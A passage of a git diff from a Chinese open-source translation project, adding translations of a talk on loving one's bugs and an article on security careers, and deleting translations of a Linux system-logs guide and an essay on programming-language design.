+如果你在调试一个难搞的 bug,特别是在大型系统中,不要忘记跟别人讨论。也许你的同事以前就遇到过类似的 bug。若是如此,你可能会节省很多时间。就算他们没有见过,也不要忘记在你解决了问题之后告诉他们解决方法——写下来或者在组会中分享。这样下次你们组遇到类似的问题时,你们都会早有准备。
+
+### Bug 如何帮助你进步
+
+### Recurse Center
+
+在加入 Dropbox 之前,我曾在 Recurse Center 工作。它的理念是建立一个社区让正在自学的程序员们聚到一起来提高能力。这就是 Recurse Center 的全部了:我们没有大纲、作业、截止日期等等。唯一的前提条件是我们都想要成为更好的程序员。参与者中有的人有计算机学位但对自己的实际编程能力不够自信,有的人已经写了十年 Java 但想学 Clojure 或者 Haskell,还有各式各样有着其他的背景的参与者。
+
+我在那里是一位导师,帮助人们更好地利用这个自由的环境,并参考我们从以前的参与者那里学到的东西来提供指导。所以我的同事们和我本人都非常热衷于寻找对成年自学者最有帮助的学习方法。
+
+### 刻意练习
+
+在学习方法这个领域有很多不同的研究,其中我觉得最有意思的研究之一是刻意练习的概念。刻意练习理论意在解释专业人士和业余爱好者的表现的差距。它的基本思想是如果你只看内在的特征——不论先天与否——它们都无法非常好地解释这种差距。于是研究者们,包括最初的 Ericsson、Krampe 和 Tesch-Romer,开始寻找能够解释这种差距的理论。他们最终的答案是在刻意练习上所花的时间。
+
+他们给刻意练习的定义非常精确:不是为了收入而工作,也不是为了乐趣而玩耍。你必须尽自己能力的极限,去做一个和你的水平相称的任务(不能太简单导致你学不到东西,也不能太难导致你无法取得任何进展)。你还需要获得即时的反馈,知道自己是否做得正确。
+
+这非常令人兴奋,因为这是一套能够用来建立专业技能的系统。但难点在于对于程序员来说这些建议非常难以实施。你很难知道你是否处在自己能力的极限。也很少有即时的反馈帮助你改进——有时候你能得到任何反馈都已经算是很幸运了,还有时候你需要等几个月才能得到反馈。对于在 REPL 中做的简单的事情你可以很快地得到反馈,但如果你在做一个设计上的决定或者技术上的选择,你在很长一段时间里都无法得到反馈。
+
+但是在有一类编程工作中刻意练习是非常有用的,它就是 debug。如果你写了一份代码,那么当时你是理解这份代码是如何工作的。但你的代码有 bug,所以你的理解并不完全正确。根据定义来说,你正处在你理解能力的极限上——这很好!你马上要学到新东西了。如果你可以重现这个 bug,那么这是个宝贵的机会,你可以获得即时的反馈,知道自己的修改是否正确。
+
+像这样的 bug 也许能让你学到关于你的程序的一些小知识,但你也可能会学到一些关于运行你的代码的系统的一些更复杂的知识。我接下来要讲一个关于这种 bug 的故事。
+
+### Bug 2 号
+
+这也是我在 Dropbox 工作时遇到的 bug。当时我正在调查为什么有些桌面客户端没有像我们预期的那样持续发送日志。我开始调查客户端的日志系统并且发现了很多有意思的 bug。我会挑一些跟这个故事有关的 bug 来讲。
+
+和之前一样,这是一个非常简化的系统架构。
+
+
+```
+ +--------------+
+ | |
+ +---+ +----------> | 日志服务器 |
+ |日志| | | |
+ +---+ | +------+-------+
+ | |
+ +-----+----+ | 200 ok
+ | | |
+ | 客户端 | <-----------+
+ | |
+ +-----+----+
+ ^
+ +--------+--------+--------+
+ | ^ ^ |
+ +--+--+ +--+--+ +--+--+ +--+--+
+ | 日志 | | 日志 | | 日志 | | 日志 |
+ | | | | | | | |
+ | | | | | | | |
+ +-----+ +-----+ +-----+ +-----+
+```
+
+桌面客户端会生成日志。这些日志会被压缩、加密并写入硬盘。然后客户端会间歇性地把它们发送给服务器。客户端从硬盘读取日志并发送给日志服务器。服务器会将它解码并存储,然后返回 200。
+
+如果客户端无法连接到日志服务器,它不会让日志目录无限地增长。超过一定大小之后,它会开始删除日志来让目录大小不超过一个最大值。
+
+最初的两个 bug 本身并不严重。第一个 bug 是桌面客户端向服务器发送日志时会从最早的日志而不是最新的日志开始。这并不是很好——比如服务器会在客户端报告异常的时候让客户端发送日志,所以你可能最在乎的是刚刚生成的日志而不是在硬盘上的最早的日志。
+
+第二个 bug 和第一个相似:如果日志目录的大小达到了上限,客户端会从最新的日志而不是最早的日志开始删除。同理,你总是会丢失一些日志文件,但你大概更不在乎那些较早的日志。
+
+第三个 bug 和加密有关。有时服务器会无法对一个日志文件解码(我们一般不知道为什么——也许发生了位反转)。我们在后端没有正确地处理这个错误,而服务器会返回 500。客户端看到 500 之后会做合理的反应:它会认为服务器停机了。所以它会停止发送日志文件并且不再尝试发送其他的日志。
+
+对于一个损坏的日志文件返回 500 显然不是正确的行为。你可以考虑返回 400,因为问题出在客户端的请求上。但客户端同样无法修复这个问题——如果日志文件现在无法解码,我们后也永远无法将它解码。客户端正确的做法是直接删除日志文件然后继续运行。实际上,这正是客户端在成功上传日志文件并从服务器收到 200 的响应时的默认行为。所以我们说,好——如果日志文件无法解码,就返回 200。
+
+所有这些 bug 都很容易修复。前两个 bug 出在客户端上,所以我们在 alpha 版本修复了它们,但大部分的客户端还没有获得这些改动。我们在服务器代码中修复了第三个 bug 并部署了新版的服务器。
+
+### 📈
+
+突然日志服务器集群的流量开始激增。客服团队找到我们并问我们是否知道原因。我花了点时间把所有的部分拼到一起。
+
+在修复之前,这四件事情会发生:
+
+1. 日志文件从最早的开始发送
+
+2. 日志文件从最新的开始删除
+
+3. 如果服务器无法解码日志文件,它会返回 500
+
+4. 如果客户端收到 500,它会停止发送日志
+
+一个存有损坏的日志文件的客户端会试着发送这个文件,服务器会返回 500,客户端会放弃发送日志。在下一次运行时,它会尝试再次发送同样的文件,再次失败,并再次放弃。最终日志目录会被填满,然后客户端会开始删除最新的日志文件,而把损坏的文件继续保留在硬盘上。
+
+这三个 bug 导致的结果是:如果客户端在任何时候生成了损坏的日志文件,我们就再也不会收到那个客户端的日志了。
+
+问题是,处于这种状态的客户端比我们想象的要多很多。任何有一个损坏文件的客户端都会像被关在堤坝里一样,无法再发送日志。现在这个堤坝被清除了,所有这些客户端都开始发送它们的日志目录的剩余内容。
+
+### 我们的选择
+
+好的,现在文件从世界各地的电脑如洪水般涌来。我们能做什么?(当你在一个有 Dropbox 这种规模,尤其是这种桌面客户端的规模的公司工作时,会遇到这种有趣的事情:你可以非常轻易地对自己造成 DDOS 攻击)。
+
+当你部署的新版本发生问题时,第一个选项是回滚。这是非常合理的选择,但对于这个问题,它无法帮助我们。我们改变的不是服务器的状态而是客户端的——我们删除了那些出错文件。将服务器回滚可以防止更多客户端进入这种状态,但它并不能解决根本问题。
+
+那扩大日志集群的规模呢?我们试过了——然后因为处理能力增加了,我们开始收到更多的请求。我们又扩大了一次,但你不可能一直这么下去。为什么不能?因为这个集群并不是独立的。它会向另一个集群发送请求,在这里是为了处理异常。如果你的一个集群正在被 DDOS,而你持续扩大那个集群,你最终会把它依赖的集群也弄坏,然后你就有两个问题了。
+
+我们考虑过的另一个选择是减低负载——你不需要每一个日志文件,所以我们可以直接无视一些请求。一个难点是我们并没有一个很好的方法来区分好的请求和坏的请求。我们无法快速地判断哪些日志文件是旧的,哪些是新的。
+
+我们最终使用的是一个 Dropbox 里许多不同场合都用过的一个解决方法:我们有一个自定义的头字段,`chillout`,全世界所有的客户端都遵守它。如果客户端收到一个有这个头字段的响应,它将在字段所标注的时间内不再发送任何请求。很早以前一个英明的程序员把它加到了 Dropbox 客户端里,在之后这些年中它已经不止一次地起了作用。
+
+### 了解你的系统
+
+这个 bug 的第一个教训是要了解你的系统。我对于客户端和服务器之间的交互有不错的理解,但我并没有考虑到当服务器和所有这些客户端同时交互的时候会发生什么。这是一个我没有完全搞懂的层面。
+
+### 了解你的工具
+
+第二个教训是要了解你的工具。如果出了差错,你有哪些选项?你能撤销你做的迁移吗?你如何知道事情出了差错,你又如何发现更多信息?所有这些事情都应该在危机发生之前就了解好——但如果你没有,你会在危机发生时学到它们并不会再忘记。
+
+### 功能开关 & 服务器端功能控制
+
+第三个教训是专门针对移动端和桌面应用开发者的:_你需要服务器端功能控制和功能开关_。当你发现一个问题时如果你没有服务器端的功能控制,你可能需要几天或几星期来推送新版本或者提交新版本到应用商店中,然后问题才能得到解决。这是个很糟糕的处境。Dropbox 桌面客户端不需要经过应用商店的审查过程,但光是把一个版本推送给上千万的用户就已经要花很多时间。相比之下,如果你能在新功能遇到问题的时候在服务器上翻转一个开关:十分钟之后你的问题就已经解决了。
+
+这个策略也有它的代价。加入很多的功能开关会大幅提高你的代码的复杂度。而你的测试代码更是会成指数地复杂化:要考虑 A 功能和 B 功能都开启,或者仅开启一个,或者都不开启的情况——然后每个功能都要相乘一遍。让工程师们在事后清理他们的功能开关是一件很难的事情(我自己也有这个毛病)。另外,桌面客户端会同时有好几个版本有人使用,也会加大思考难度。
+
+但是它的好处——啊,当你需要它的时候,你真的是很需要它。
+
+# 如何去爱 bug
+
+我讲了几个我爱的 bug,也讲了为什么要爱 bug。现在我想告诉你如何去爱 bug。如果你现在还不爱 bug,我知道唯一一种改变的方法,那就是要有成长型心态。
+
+社会学家 Carol Dweck 做了很多关于人们如何看待智力的研究。她找到两种不同的看待智力的心态。第一种,她叫做固定型心态,认为智力是一个固定的特征,人类无法改变自己智力的多寡。另一种心态叫做成长型心态。在成长型心态下,人们相信智力是可变的而且可以通过努力来增强。
+
+Dweck 发现一个人看待智力的方式——固定型还是成长型心态——可以很大程度地影响他们选择任务的方式、面对挑战的反应、认知能力、甚至是他们的诚信度。
+
+【我在新西兰 Kiwi Pycon 会议所做的主题演讲中也讨论过成长型心态,所以在此只摘录一部分内容。你可以在[这里][7]找到完整版的演讲稿】
+
+关于诚信的发现:
+
+> 在这之后,他们让学生们给笔友写信讲这个实验,信中说“我们在学校做了这个实验,这是我得的分数”。他们发现 _因智力而受到表扬的学生中几乎一半人谎报了自己的分数_ ,而因努力而受表扬的学生则几乎没有人不诚实。
+
+关于努力:
+
+> 数个研究发现有着固定型心态的人会不愿真正去努力,因为他们认为这意味着他们不擅长做他们正努力去做的这件事情。Dweck 写道,“如果每当一个任务需要努力的时候你就会怀疑自己的智力,那么你会很难对自己的能力保持自信。”
+
+关于面对困惑:
+
+> 他们发现有成长型心态的学生大约能理解 70% 的内容,不论里面是否有难懂的段落。在有固定型心态的学生中,那些被分配没有难懂段落的手册的学生同样可以理解大约 70%。但那些看到了难懂段落的持固定型心态的学生的记忆则降到了 30%。有着固定型心态的学生非常不擅长从困惑中恢复。
+
+这些发现表明成长型心态对 debug 至关重要。我们必须从从困惑中重整旗鼓,诚实地面对我们理解上的不足,并时不时地在寻找答案的路上努力奋斗——成长型心态会让这些都变得更简单而且不那么痛苦。
+
+### 热爱你的 bug
+
+我在 Recurse Center 工作时会直白地欢迎挑战,我就是这样学会热爱我的 bug 的。有时参与者会坐到我身边说“唉,我觉得我遇到了个奇怪的 Python bug”,然后我会说“太棒了,我 _爱_ 奇怪的 Python bug!” 首先,这百分之百是真的,但更重要的是,我这样是在对参与者强调,找到让自己觉得困难的事情是一种成就,而他们做到了这一点,这是件好事。
+
+像我之前说过的,在 Recurse Center 没有截止日期也没有作业,所以这种态度没有任何成本。我会说,“你现在可以花一整天去在 Flask 里找出这个奇怪的 bug 了,多令人兴奋啊!”在 Dropbox 和之后的 Pilot,我们有产品需要发布,有截止日期,还有用户,于是我并不总是对在奇怪的 bug 上花一整天而感到兴奋。所以我对有截止日期的现实也是感同身受。但是如果我有 bug 需要解决,我就必须得去解决它,而抱怨它的存在并不会帮助我之后更快地解决它。我觉得就算在截止日期临近的时候,你也依然可以保持这样的心态。
+
+如果你热爱你的 bug,你可以在解决困难问题时获得更多乐趣。你可以担心得更少而更加专注,并且从中学到更多。最后,你可以和你的朋友和同事分享你的 bug,这将会同时帮助你自己和你的队友们。
+
+### 鸣谢!
+
+在此向给我的演讲提出反馈以及给我的演讲提供其他帮助的人士表示感谢:
+
+* Sasha Laundy
+
+* Amy Hanlon
+
+* Julia Evans
+
+* Julian Cooper
+
+* Raphael Passini Diniz 以及其他的 Python Brasil 组织团队成员
+
+--------------------------------------------------------------------------------
+
+via: http://akaptur.com/blog/2017/11/12/love-your-bugs/
+
+作者:[Allison Kaptur ][a]
+译者:[yixunx](https://github.com/yixunx)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:http://akaptur.com/about/
+[1]:http://2017.pythonbrasil.org.br/#
+[2]:http://www.youtube.com/watch?v=h4pZZOmv4Qs
+[3]:http://www.pilot.com/
+[4]:http://www.dropbox.com/
+[5]:http://www.recurse.com/
+[6]:http://www.youtube.com/watch?v=ETgNLF_XpEM
+[7]:http://akaptur.com/blog/2015/10/10/effective-learning-strategies-for-programmers/
diff --git a/translated/tech/20171115 Security Jobs Are Hot Get Trained and Get Noticed.md b/translated/tech/20171115 Security Jobs Are Hot Get Trained and Get Noticed.md
new file mode 100644
index 0000000000..5834271731
--- /dev/null
+++ b/translated/tech/20171115 Security Jobs Are Hot Get Trained and Get Noticed.md
@@ -0,0 +1,58 @@
+安全工作热门:受到培训并获得注意
+============================================================
+
+
+来自 Dice 和 Linux 基金会的“开源工作报告”发现,未来对具有安全经验的专业人员的需求很高。[经许可使用][1]
+
+对安全专业人员的需求是真实的。在 [Dice.com][4] 中,超过 75,000 个职位中有 15% 是安全职位。[Forbes][6] 中称:“根据网络安全数据工具 [CyberSeek][5],在美国每年有 4 万个信息安全分析师的职位空缺,雇主正在努力填补其他 20 万个与网络安全相关的工作。”我们知道,安全专家的需求正在快速增长,但兴趣水平还很低。
+
+### 安全是要关注的领域
+
+根据我的经验,很少有大学生对安全工作感兴趣,所以很多人把安全视为利基。入门级技术专家对业务分析师或系统分析师感兴趣,因为他们认为,如果想学习和应用核心 IT 概念,就必须坚持分析师工作或者更接近产品开发的工作。事实并非如此。
+
+事实上,如果你有兴趣领先于商业领导者,那么安全是要关注的领域 - 作为一名安全专业人员,你必须端到端地了解业务,你必须看大局来给你的公司优势。
+
+### 无所畏惧
+
+分析师和安全工作并不完全相同。公司出于必要继续合并工程和安全工作。企业正在以前所未有的速度进行基础架构和代码的自动化部署,从而提高了安全作为所有技术专业人士日常生活的一部分的重要性。在我们的[ Linux 基金会的开源工作报告][7]中,42% 的招聘经理表示未来对有安全经验的专业人士的需求很大。
+
+在安全方面从未有过更激动人心的时刻。如果你随时掌握最新的技术新闻,就会发现大量的事情与安全相关 - 数据泄露、系统故障和欺诈。安全团队正在不断变化,快节奏的环境中工作。真正的挑战在于在保持甚至改进最终用户体验的同时,积极主动地进行安全性,发现和消除漏洞。
+
+### 增长即将来临
+
+在技术的任何方面,安全将继续与云一起成长。企业越来越多地转向云计算,这暴露出比组织过去更多的安全漏洞。随着云的成熟,安全变得越来越重要。
+
+条例也在不断完善 - 个人身份信息(PII)越来越广泛。许多公司都发现他们必须投资安全来保持合规,避免成为头条新闻。由于面临巨额罚款,声誉受损以及行政工作安全,公司开始越来越多地为安全工具和人员安排越来越多的预算。
+
+### 培训和支持
+
+即使你不选择一个特定的安全工作,你也一定会发现自己需要写安全的代码,如果你没有这个技能,你将开始一场艰苦的战斗。如果你的公司提供在工作中学习的话也是鼓励的,但我建议结合培训、指导和不断实践。如果你不使用安全技能,你将很快在快速进化的恶意攻击的复杂性中失去它们。
+
+对于那些寻找安全工作的人来说,我的建议是找到组织中那些在工程、开发或者架构领域最为强大的人员 - 与他们和其他团队进行交流,做好实际工作,并且确保在心里保持大局。成为你的组织中一个脱颖而出的人,一个可以写安全的代码,同时也可以考虑战略和整体基础设施健康状况的人。
+
+### 游戏最后
+
+越来越多的公司正在投资安全性,并试图填补他们的技术团队的开放角色。如果你对管理感兴趣,那么安全是值得关注的地方。执行领导希望知道他们的公司正在按规则行事,他们的数据是安全的,并且免受破坏和损失。
+
+明治地实施和有战略思想的安全是受到关注的。安全对高管和消费者之类至关重要 - 我鼓励任何对安全感兴趣的人进行培训和贡献。
+
+ _现在[下载][2]完整的 2017 年开源工作报告_
+
+--------------------------------------------------------------------------------
+
+via: https://www.linux.com/blog/os-jobs-report/2017/11/security-jobs-are-hot-get-trained-and-get-noticed
+
+作者:[ BEN COLLEN][a]
+译者:[geekpi](https://github.com/geekpi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.linux.com/users/bencollen
+[1]:https://www.linux.com/licenses/category/used-permission
+[2]:http://bit.ly/2017OSSjobsreport
+[3]:https://www.linux.com/files/images/security-skillspng
+[4]:http://www.dice.com/
+[5]:http://cyberseek.org/index.html#about
+[6]:https://www.forbes.com/sites/jeffkauflin/2017/03/16/the-fast-growing-job-with-a-huge-skills-gap-cyber-security/#292f0a675163
+[7]:http://media.dice.com/report/the-2017-open-source-jobs-report-employers-prioritize-hiring-open-source-professionals-with-latest-skills/
diff --git a/translated/tech/20171117 System Logs Understand Your Linux System.md b/translated/tech/20171117 System Logs Understand Your Linux System.md
deleted file mode 100644
index dceea12a63..0000000000
--- a/translated/tech/20171117 System Logs Understand Your Linux System.md
+++ /dev/null
@@ -1,68 +0,0 @@
-### 系统日志: 了解你的Linux系统
-
-
- By: [chabowski][1]
-
-本文摘自教授Linux小白(或者非资深桌面用户)技巧的系列文章. 该系列文章旨在为由LinuxMagazine基于 [openSUSE Leap][3] 发布的第30期特别版 “[Getting Started with Linux][2]” 提供补充说明.
-
-本文作者是 Romeo S. Romeo, 他是一名 PDX-based enterprise Linux 专家,转为创新企业提供富有伸缩性的解决方案.
-
-Linux系统日志非常重要. 后台运行的程序(通常被称为守护进程或者服务进程)处理了你Linux系统中的大部分任务. 当这些守护进程工作时,它们将任务的详细信息记录进日志文件中,作为他们做过什么的历史信息. 这些守护进程的工作内容涵盖从使用原子钟同步时钟到管理网络连接. 所有这些都被记录进日志文件,这样当有错误发生时,你可以通过查阅特定的日志文件来看出发生了什么.
-
-
-
-Photo by Markus Spiske on Unsplash
-
-有很多不同的日志. 历史上, 他们一般以纯文本的格式存储到 `/var/log` 目录中. 现在依然有很多日志这样做, 你可以很方便的使用 `less` 来查看它们.
-在新装的 `openSUSE Leap 42.3` 以及大多数现代操作系统上,重要的日志由 `systemd` 初始化系统存储. `systemd`这套系统负责启动守护进程并在系统启动时让计算机做好被使用的准备。
-由 `systemd` 记录的日志以二进制格式存储, 这使地它们消耗的空间更小,更容易被浏览,也更容易被导出成其他各种格式,不过坏处就是你必须使用特定的工具才能查看.
-好在, 这个工具已经预安装在你的系统上了: 它的名字叫 `journalctl`,而且默认情况下, 它会将每个守护进程的所有日志都记录到一个地方.
-
-只需要运行 `journalctl` 命令就能查看你的 `systemd` 日志了. 它会用 `less` 分页器显示各种日志. 为了让你有个直观的感受, 下面是`journalctl` 中摘录的一条日志记录:
-
-```
-Jul 06 11:53:47 aaathats3as pulseaudio[2216]: [pulseaudio] alsa-util.c: Disabling timer-based scheduling because running inside a VM.
-```
-
-这条独立的日志记录以此包含了记录的日期和时间, 计算机名, 记录日志的进程名, 记录日志的进程PID, 以及日志内容本身.
-
-若系统中某个程序运行出问题了, 则可以查看日志文件并搜索(使用 “/” 加上要搜索的关键字)程序名称. 有可能导致该程序出问题的错误会记录到系统日志中.
-有时,错误信息会足够详细让你能够修复该问题. 其他时候, 你需要在Web上搜索解决方案. Google就很适合来搜索奇怪的Linux问题.
-
-不过搜索时请注意你只输入了日志的内容, 行首的那些信息(日期, 主机名, 进程ID) 是无意义的,会干扰搜索结果.
-
-解决方法一般在搜索结果的前几个连接中就会有了. 当然,你不能只是无脑得运行从互联网上找到的那些命令: 请一定先搞清楚你要做的事情是什么,它的效果会是什么.
-据说, 从系统日志中查询日志要比直接搜索描述故障的关键字要有用的多. 因为程序出错有很多原因, 而且同样的故障表现也可能由多种问题引发的.
-
-比如, 系统无法发声的原因有很多, 可能是播放器没有插好, 也可能是声音系统出故障了, 还可能是缺少合适的驱动程序.
-如果你只是泛泛的描述故障表现, 你会找到很多无关的解决方法,而你也会浪费大量的时间. 而指定搜索日志文件中的内容, 你只会查询出他人也有相同日志内容的结果.
-你可以对比一下图1和图2.
-
-
-
-图 1 搜索系统的故障表现只会显示泛泛的,不精确的结果. 这种搜索通常没什么用.
-
-
-
-图 2 搜索特定的日志行会显示出精确的,有用的结果. 这种搜索通常很有用.
-
-也有一些系统不用 `journalctl` 来记录日志. 在桌面系统中最常见的这类日志包括用于 `/var/log/zypper.log` 记录openSUSE包管理器的行为; `/var/log/boot.log` 记录系统启动时的消息,这类消息往往滚动的特别块,根本看不过来; `/var/log/ntp` 用来记录 Network Time Protocol 守护进程同步时间时发生的错误.
-另一个存放硬件故障信息的地方是 `Kernel Ring Buffer`(内核环状缓冲区), 你可以输入 `demesg -H` 命令来查看(这条命令也会调用 `less` 分页器来查看).
-`Kernel Ring Buffer` 存储在内存中, 因此会在重启电脑后丢失. 不过它包含了Linux内核中的重要事件, 比如新增了硬件, 加载了模块, 以及奇怪的网络错误.
-
-希望你已经准备好深入了解你的Linux系统了! 祝你玩的开心!
-
---------------------------------------------------------------------------------
-
-via: https://www.suse.com/communities/blog/system-logs-understand-linux-system/
-
-作者:[chabowski]
-译者:[lujun9972](https://github.com/lujun9972)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[1]:https://www.suse.com/communities/blog/author/chabowski/
-[2]:http://www.linux-magazine.com/Resources/Special-Editions/30-Getting-Started-with-Linux
-[3]:https://en.opensuse.org/Portal:42.3
-[4]:http://www.linux-magazine.com/
diff --git a/translated/tech/20171118 Language engineering for great justice.md b/translated/tech/20171118 Language engineering for great justice.md
deleted file mode 100644
index fc116e2e18..0000000000
--- a/translated/tech/20171118 Language engineering for great justice.md
+++ /dev/null
@@ -1,59 +0,0 @@
-ESR:最合理的语言工程模式
-============================================================
-
-当你熟练掌握一体化工程技术时,你就会发现它逐渐超过了技术优化的层面。我们制作的每件手工艺品都在一个大环境背景下,在这个环境中,人类的行为逐渐突破了经济意义、社会学意义,达到了奥地利经济学家所称的“人类行为学”,这是目的明确的人类行为所能达到的最大范围。
-
-对我来说这并不只是抽象理论。当我在开源开发项目中编写论文时,我的行为就十分符合人类行为学的理论,这行为不是针对任何特定的软件技术或某个客观事物,它指的是在开发科技的过程中人类行为的背景环境。从人类行为学角度对科技进行的解读不断增加,大量的这种解读可以重塑科技框架,带来人类生产力和满足感的极大幅度增长,而这并不是由于我们换了工具,而是在于我们改变了掌握它们的方式。
-
-在这个背景下,我的计划之外的文章系列的第三篇中谈到了 C 语言的衰退和正在到来的巨大改变,而我们也确实能够感受到系统编程的新时代的到来,在这个时刻,我决定把我之前有的大体的预感具象化为更加具体的、更实用的想法,它们主要是关于计算机语言设计的分析,例如为什么它们会成功,或为什么它们会失败。
-
-在我最近的一篇文章中,我写道:所有计算机语言都是对机器资源的成本和程序员工作成本的相对权衡的结果,和对其相对价值的体现。这些都是在一个计算能力成本不断下降但程序员工作成本不减反增的背景下产生的。我还强调了转化成本在使原有交易主张适用于当下环境中的新增角色。在文中我将编程人员描述为一个寻找今后最适方案的探索者。
-
-现在我要讲一讲最后一点。以现有水平为起点,一个语言工程师有极大可能通过多种方式推动语言设计的发展。通过什么系统呢? GC 还是人工分配?使用何种配置,命令式语言、函数程式语言或是面向对象语言?但是从人类行为学的角度来说,我认为它的形式会更简洁,也许只是选择解决长期问题还是短期问题?
-
-所谓的“远”、“近”之分,是指硬件成本的逐渐降低,软件复杂程度的上升和由现有语言向其他语言转化的成本的增加,根据它们的变化曲线所做出的判断。短期问题指编程人员眼下发现的问题,长期问题指可预见的一系列情况,但它们一段时间内不会到来。针对近期问题所做出的部署需要非常及时且有效,但随着情况的变化,短期解决方案有可能很快就不适用了。而长期的解决方案可能因其过于超前而夭折,或因其代价过高无法被接受。
-
-在计算机刚刚面世的时候, FORTRAN 是近期亟待解决的问题, LISP 是远期问题,汇编语言是短期解决方案。说明这种分类适用于非通用语言,还有 roff 标记语言。随着计算机技术的发展,PHP 和 Javascript 逐渐参与到这场游戏中。至于长期的解决方案? Oberon、Ocaml、ML、XML-Docbook 都可以。 它们形成的激励机制带来了大量具有突破性和原创性的想法,事态蓬勃但未形成体系,那个时候距离专业语言的面世还很远,(值得注意的是这些想法的出现都是人类行为学中的因果,并非由于某种技术)。专业语言会失败,这是显而易见的,它的转入成本高昂,让大部分人望而却步,因此不能达到能够让主流群体接受的水平,被孤立,被搁置。这也是 LISP 不为人知的的过去,作为前 LISP 管理层人员,出于对它深深的爱,我为你们讲述了这段历史。
-
-如果短期解决方案出现故障,它的后果更加惨不忍睹,最好的结果是期待一个相对体面的失败,好转换到另一个设计方案。(通常在转化成本较高时)如果他们执意继续,通常造成众多方案相互之间藕断丝连,形成一个不断扩张的复合体,一直维持到不能运转下去,变成一堆摇摇欲坠的杂物。是的,我说的就是 C++ 语言,还有 Java 描述语言,(唉)还有 Perl,虽然 Larry Wall 的好品味成功地让他维持了很多年,问题一直没有爆发,但在 Perl 6 发行时,他的好品味最终引爆了整个问题。
-
-这种思考角度激励了编程人员向着两个不同的目的重新塑造语言设计: (1)以远近为轴,在自身和预计的未来之间选取一个最适点,然后(2)降低由一种或多种语言转化为自身语言的转入成本,这样你就可以吸纳他们的用户群。接下来我会讲讲 C 语言是怎样占领全世界的。
-
-在整个计算机发展史中,没有谁能比 C 语言完美地把握最适点的选取了,我要做的只是证明这一点,作为一种实用的主流语言, C 语言有着更长的寿命,它目睹了无数个竞争者的兴衰,但它的地位仍旧不可取代。从淘汰它的第一个竞争者到现在已经过了 35 年,但看起来C语言的终结仍旧不会到来。
-
-当然,如果你愿意的话,可以把 C 语言的持久存在归功于人类的文化惰性,但那是对“文化惰性”这个词的曲解, C 语言一直得以延续的真正原因是没有人提供足够的转化费用!
-
-相反的, C 语言低廉的内部转化成本未得到应有的重视,C 语言是如此的千变万化,从它漫长统治时期的初期开始,它就可以适用于多种语言如 FORTRAN、Pascal 、汇编语言和 LISP 的编程习惯。在二十世纪八十年代我就注意到,我可以根据编程人员的编码风格判断出他的母语是什么,这也从另一方面证明了C 语言的魅力能够吸引全世界的人使用它。
-
-C++ 语言同样胜在它低廉的转化成本。很快,大部分新兴的语言为了降低自身转化成本,纷纷参考 C 语言语法。请注意这给未来的语言设计环境带来了什么影响:它尽可能地提高了类 C 语言的价值,以此来降低其他语言转化为 C 语言的转化成本。
-
-另一种降低转入成本的方法十分简单,即使没接触过编程的人都能学会,但这种方法很难完成。我认为唯一使用了这种方法的 Python 就是靠这种方法进入了职业比赛。对这个方法我一带而过,是因为它并不是我希望看到的,顺利执行的系统语言战略,虽然我很希望它不是那样的。
-
-今天我们在 2017 年底聚集在这里,下一项我们应该为某些暴躁的团体发声,如 Go 团队,但事实并非如此。 Go 这个项目漏洞百出,我甚至可以想象出它失败的各种可能,Go 团队太过固执独断,即使几乎整个用户群体都认为 Go 需要做出改变了,Go 团队也无动于衷,这是个大问题。 一旦发生故障, GC 发生延迟或者用牺牲生产量来弥补延迟,但无论如何,它都会严重影响到这种语言的应用,大幅缩小这种语言的适用范围。
-
-即便如此,在 Go 的设计中,还是有一个我颇为认同的远大战略目标,想要理解这个目标,我们需要回想一下如果想要取代 C 语言,要面临的短期问题是什么。同我之前提到的,随着项目计划的不断扩张,故障率也在持续上升,这其中内存管理方面的故障尤其多,而内存管理一直是崩溃漏洞和安全漏洞的高发领域。
-
-我们现在已经知道了两件十分重要的紧急任务,要想取代 C 语言,首先要先做到这两点:(1)解决内存管理问题;(2)降低由 C 语言向本语言转化时所需的转入成本。纵观编程语言的历史——从人类行为学的角度来看,作为 C 语言的准替代者,如果不能有效解决转入成本过高这个问题,那他们所做的其他部分做得再好都不算数。相反的,如果他们把转入成本过高这个问题解决地很好,即使他们其他部分做的不是最好的,人们也不会对他们吹毛求疵。
-
-这正是 Go 的做法,但这个理论并不是完美无瑕的,它也有局限性。目前 GC 延迟限制了它的发展,但 Go 现在选择照搬 Unix 下 C 语言的传染战略,让自身语言变成易于转入,便于传播的语言,其繁殖速度甚至快于替代品。但从长远角度看,这并不是个好办法。
-
-当然, Rust 语言的不足是个十分明显的问题,我们不应当回避它。而它,正将自己定位为适用于长远计划的选择。在之前的部分中我已经谈到了为什么我觉得它还不完美,Rust 语言在 TIBOE 和PYPL 指数上的成就也证明了我的说法,在 TIBOE 上 Rust 从来没有进过前 20 名,在 PYPL 指数上它的成就也比 Go 差很多。
-
-五年后 Rust 能发展的怎样还是个问题,如果他们愿意改变,我建议他们重视转入成本问题。以我个人经历来说,由 C 语言转入 Rust 语言的能量壁垒使人望而却步。如果编码提升工具比如 Corrode 只能把 C 语言映射为不稳定的 Rust 语言,但不能解决能量壁垒的问题;或者如果有更简单的方法能够自动注释所有权或试用期,人们也不再需要它们了——这些问题编译器就能够解决。目前我不知道怎样解决这个问题,但我觉得他们最好找出解决方案。
-
-在最后我想强调一下,虽然在 Ken Thompson 的设计经历中,他看起来很少解决短期问题,但他对未来有着极大的包容性,并且这种包容性还在不断提升。当然 Unix 也是这样的, 它让我不禁暗自揣测,让我认为 Go 语言中令人不快的地方都其实是他们未来事业的基石(例如缺乏泛型)。如果要确认这件事是真假,我需要比 Ken 还要聪明,但这并不是一件容易让人相信的事情。
-
---------------------------------------------------------------------------------
-
-via: http://esr.ibiblio.org/?p=7745
-
-作者:[Eric Raymond][a]
-译者:[Valoniakim](https://github.com/Valoniakim)
-校对:[wxy](https://github.com/wxy)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:http://esr.ibiblio.org/?author=2
-[1]:http://esr.ibiblio.org/?author=2
-[2]:http://esr.ibiblio.org/?p=7711&cpage=1#comment-1913931
-[3]:http://esr.ibiblio.org/?p=7745
